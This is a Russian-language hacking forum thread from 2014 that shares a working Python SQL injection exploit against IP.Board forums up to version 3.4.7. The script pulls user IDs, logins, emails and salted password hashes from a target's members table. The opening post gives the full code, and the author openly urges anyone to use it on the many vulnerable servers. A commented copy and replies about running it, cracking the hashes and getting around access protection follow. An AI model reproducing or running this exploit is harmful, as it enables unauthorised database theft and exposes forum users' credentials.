Хостинг, который использует TopHope.RU более 2-х лет

Хостинг, который использует TopHope.RU более 4-х лет

Угоняем базу форума IPB версии 3.4.7 и ниже

Тема в разделе "Веб, сайты, скрипты", создана пользователем slastik, дек 9, 2014.

  1. slastik

    slastik

    Сообщения:
    4
    Симпатии:
    3
    Баллы:
    3
    С помощью приведенного ниже эксплойта проводим sql инъекцию на форумах IPB <=3.4.7 и добываем базу пользователей, а именно:
    - ид юзера, логин, мыло, пароль в зашифрованном виде (для тех кто не знает, хэш на IPB следующего вида: md5(md5($salt).md5($pass)), соль.

    Что же нужно делать?
    - Ищем сервер с форумом на IP.Board
    - Запускаем скрипт, предварительно вписав адрес атакуемого форума, с помощью python 2 (скачать с офф сайта: Для того что-бы увидеть ссылку Зарегистрируйтесь на форуме. ) с помощью командной строки и команды вида:

    Exploit:
    PHP:
    #!/usr/bin/env python
    # Sunday, November 09, 2014 - secthrowaway () safe-mail net
    # IP.Board <= 3.4.7 SQLi (blind, error based); 
    # you can adapt to other types of blind injection if 'cache/sql_error_latest.cgi' is unreadable

    url 'http://адрес_форума/'
    ua "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"

    import sysre

    # <socks> - http://sourceforge.net/projects/socksipy/
    #import socks, socket
    #socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
    #socket.socket = socks.socksocket
    # </socks>

    import urllib2urllib

    def inject
    (sql):
        try:
            
    urllib2.urlopen(urllib2.Request('%sinterface/ipsconnect/ipsconnect.php' urldata="act=login&idType=id&id[]=-1&id[]=%s" urllib.quote('-1) and 1!="\'" and extractvalue(1,concat(0x3a,(%s)))#\'' sql), headers={"User-agent"ua}))
        
    except urllib2.HTTPErrore:
            if 
    e.code == 503:
                
    data urllib2.urlopen(urllib2.Request('%scache/sql_error_latest.cgi' urlheaders={"User-agent"ua})).read()
                
    txt re.search("XPATH syntax error: ':(.*)'"datare.MULTILINE)
                if 
    txt is not None
                    return 
    txt.group(1)
                
    sys.exit('Error [3], received unexpected data:\n%s' data)
            
    sys.exit('Error [1]')
        
    sys.exit('Error [2]')

    def get(nametablenum):
        
    sqli 'SELECT %s FROM %s LIMIT %d,1' % (nametablenum)
        
    int(inject('LENGTH((%s))' sqli))
        if 
    31:
            return 
    inject(sqli)
        else:
            
    ''
            
    for i in range(1s+131):
                
    += inject('SUBSTRING((%s), %i, %i)' % (sqlii31))
            return 
    r

    inject('SELECT COUNT(*) FROM members')
    print 
    '* Found %s users' n
    for j in range(int(n)):    
        print 
    get('member_id''members'j)
        print 
    get('name''members'j)
        print 
    get('email''members'j)
        print 
    get('CONCAT(members_pass_hash, 0x3a, members_pass_salt)''members'j)
        print 
    '----------------'
    Пытался разжевать как можно тщательнее, чтоб любой, даже не самый умный, смог использовать эту уязвимость в своих целях :rolleyeyes:

    P.S.: серверов много, которые подвержены этой уязвимости, даже топовые есть.
     
    EclipsE, xLoLnoobWMZx и 6aPmaJIei нравится это.
  2. Lomanu4

    Lomanu4 Part of ZeroLevel Team

    Сообщения:
    218
    Симпатии:
    161
    Баллы:
    1,068
    А можно коментарии для выше написанного кода,так как не все любят копировать
     
  3. slastik

    slastik

    Сообщения:
    4
    Симпатии:
    3
    Баллы:
    3
    Мне кажется комментарии излишни, так как тут всё очевидно :)

    Но всё же:
    PHP:
    #!/usr/bin/env python
    # Sunday, November 09, 2014 - secthrowaway () safe-mail net
    # IP.Board <= 3.4.7 SQLi (blind, error based); 
    # you can adapt to other types of blind injection if 'cache/sql_error_latest.cgi' is unreadable

    url 'адрес_форума'
    ua "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"

    import sysre

    # <socks> - http://sourceforge.net/projects/socksipy/
    #import socks, socket
    #socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
    #socket.socket = socks.socksocket
    # </socks>

    import urllib2urllib

    # начинаем инъекцию
    def inject(sql):
        try:
            
    # пробуем открыть уязвимый урл /interface/ipsconnect/ipsconnect.php?act=login&idType=id&id[]=-1&id[]=-1
            
    urllib2.urlopen(urllib2.Request('%sinterface/ipsconnect/ipsconnect.php' urldata="act=login&idType=id&id[]=-1&id[]=%s" urllib.quote('-1) and 1!="\'" and extractvalue(1,concat(0x3a,(%s)))#\'' sql), headers={"User-agent"ua}))
        
    except urllib2.HTTPErrore:
            if 
    e.code == 503:
                
    # открываем логи ошибок на форуме /cache/sql_error_latest.cgi
                
    data urllib2.urlopen(urllib2.Request('%scache/sql_error_latest.cgi' urlheaders={"User-agent"ua})).read()
                
    txt re.search("XPATH syntax error: ':(.*)'"datare.MULTILINE)
                if 
    txt is not None
                    return 
    txt.group(1)
                
    sys.exit('Error [3], received unexpected data:\n%s' data)
            
    sys.exit('Error [1]')
        
    sys.exit('Error [2]')

    def get(nametablenum):
        
    sqli 'SELECT %s FROM %s LIMIT %d,1' % (nametablenum)
        
    int(inject('LENGTH((%s))' sqli))
        if 
    31:
            return 
    inject(sqli)
        else:
            
    ''
            
    for i in range(1s+131):
                
    += inject('SUBSTRING((%s), %i, %i)' % (sqlii31))
            return 
    r

    # Начинаем перебор акков с последующим выводом id, username, email, hash, salt в консоль
    inject('SELECT COUNT(*) FROM members')
    print 
    '* Found %s users' n
    for j in range(int(n)):    
        print 
    get('member_id''members'j)
        print 
    get('name''members'j)
        print 
    get('email''members'j)
        print 
    get('CONCAT(members_pass_hash, 0x3a, members_pass_salt)''members'j)
        print 
    '----------------'
     
  4. 6aPmaJIei

    6aPmaJIei Адекват

    Сообщения:
    163
    Симпатии:
    176
    Баллы:
    63
    сделай хайд 50 от ново регов
     
  5. wsv515

    wsv515

    Сообщения:
    7
    Симпатии:
    1
    Баллы:
    3
    Вот такую байду выдает
    Код:
    D:\python27>python.exe 1.py
    Error [3], received unexpected data:
    ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    Date: Wed, 10 Dec 2014 07:09:10 +0000
    Error: 1146 - Table 'foripb.members' doesn't exist
    IP Address: 195.189.110.72 - /interface/ipsconnect/ipsconnect.php
    ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    mySQL query error: SELECT m.*, m.member_id as my_member_id,ccb.cache_content FROM ipb_members m  LEFT JOIN ipb_content_cache_sigs ccb ON ( ccb.cache_content_id=m.member_id )   WHERE m.member_id IN (-1,-1) and 1!=
    "'" and extractvalue(1,concat(0x3a,(SELECT COUNT(*) FROM members)))#')
    .--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------.
    | File                                                                       | Function                                                                      | Line No.          |
    |----------------------------------------------------------------------------+-------------------------------------------------------------------------------+-------------------|
    | interface/ipsconnect/ipsconnect.php                                        | [IPSMember].load                                                              | 99                |
    '----------------------------------------------------------------------------+-------------------------------------------------------------------------------+-------------------'
    |                                                                            | [ipsConnect].login                                                            |                   |
    '----------------------------------------------------------------------------+-------------------------------------------------------------------------------+-------------------'
    | interface/ipsconnect/ipsconnect.php                                        | [].call_user_func_array                                                       | 755               |
    '----------------------------------------------------------------------------+-------------------------------------------------------------------------------+-------------------'
    
    D:\python27>                                                                                                                                                                                                        ↑
    типа таблицы нет ? Error: 1146 - Table 'foripb.members' doesn't exist
    и как его юзать?
    форум v3.4.2
     
  6. Nerom

    Nerom Я забил на форум.....фу таким быть.

    Сообщения:
    282
    Симпатии:
    333
    Баллы:
    1,668
    Зачем?)Это в паблике есть, а вообще для непосвященных, создаете файл с расширением .py и скидываете данный скрипт
     
    6aPmaJIei нравится это.
  7. Euphoria

    Euphoria Адекват

    Сообщения:
    82
    Симпатии:
    85
    Баллы:
    1,535
    А подробней можно? ну нашли мы форум с уязвимостью, запустили скрипт, а дальше что?)
     
  8. 6aPmaJIei

    6aPmaJIei Адекват

    Сообщения:
    163
    Симпатии:
    176
    Баллы:
    63
    дальше сливать его,google поможет тебе там много информации по этому поводу,Главное желания читать,и всё получится
     
  9. Euphoria

    Euphoria Адекват

    Сообщения:
    82
    Симпатии:
    85
    Баллы:
    1,535
    Если бы всё было так просто.. у IPB хеши md5(md5($salt).md5($pass))
     
  10. zend

    zend

    Сообщения:
    2
    Симпатии:
    0
    Баллы:
    1
    [​IMG]
    Если в папки кеша имеются .htaccess с запретом просмотра из вне (Браузера к примеру).
    То мы получаем ошибки выше
    Вопрос можно ли как то обойти?
     
    Последнее редактирование: янв 21, 2015
  1. На этом сайте используются файлы cookie, чтобы персонализировать содержимое, хранить Ваши предпочтения и держать Вас авторизованным в системе, если Вы зарегистрировались.
    Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie.
    Скрыть объявление